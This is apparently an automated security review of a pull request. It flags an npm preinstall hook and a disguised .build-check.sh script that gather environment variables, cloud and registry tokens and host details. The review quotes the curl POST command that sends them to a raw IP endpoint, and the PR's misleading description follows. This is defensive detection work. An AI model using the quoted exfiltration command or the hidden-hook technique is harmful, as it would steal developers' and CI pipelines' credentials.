🔴 Malicious supply-chain attack: secrets exfiltrated to external server on package install
🚨 CRITICAL SECURITY: This PR is a supply-chain attack. The new .build-check.sh script collects sensitive credentials — the full environment (env | sort), GITHUB_TOKEN, NPM_TOKEN, NODE_AUTH_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, the host's public IP, and /etc/hosts — and exfiltrates all of it via curl -s -X POST -d @- "http://199.91.221.65:8888/exfil" to an attacker-controlled server. The || true at the end of line 26 silently suppresses any failure. The script is disguised with innocuous comments ("Build environment validation") and a final echo "Build environment OK" to avoid suspicion.
Prompt for agents
DELETE this entire file. It is a malicious credential-exfiltration script that sends environment variables, AWS keys, GitHub tokens, NPM tokens, and network info to an attacker-controlled IP (199.91.221.65:8888). This file must be completely removed and the PR must not be merged. Investigate whether this IP has already received any data, rotate all potentially exposed secrets, and review the contributor's other activity.

🔴 Malicious preinstall hook triggers credential exfiltration for every consumer of this package
The preinstall script hook in package.json runs sh .build-check.sh || true automatically whenever anyone runs npm install or yarn install on a project that depends on this package. This means every developer and every CI pipeline that installs this package will silently have their environment variables, AWS credentials, GitHub tokens, and NPM tokens sent to the attacker's server at 199.91.221.65:8888/exfil. The || true ensures the install succeeds even if the exfiltration fails, making the attack invisible.

Added a build environment check script that validates the development environment is properly configured before package installation. This helps catch configuration issues early in the CI pipeline.
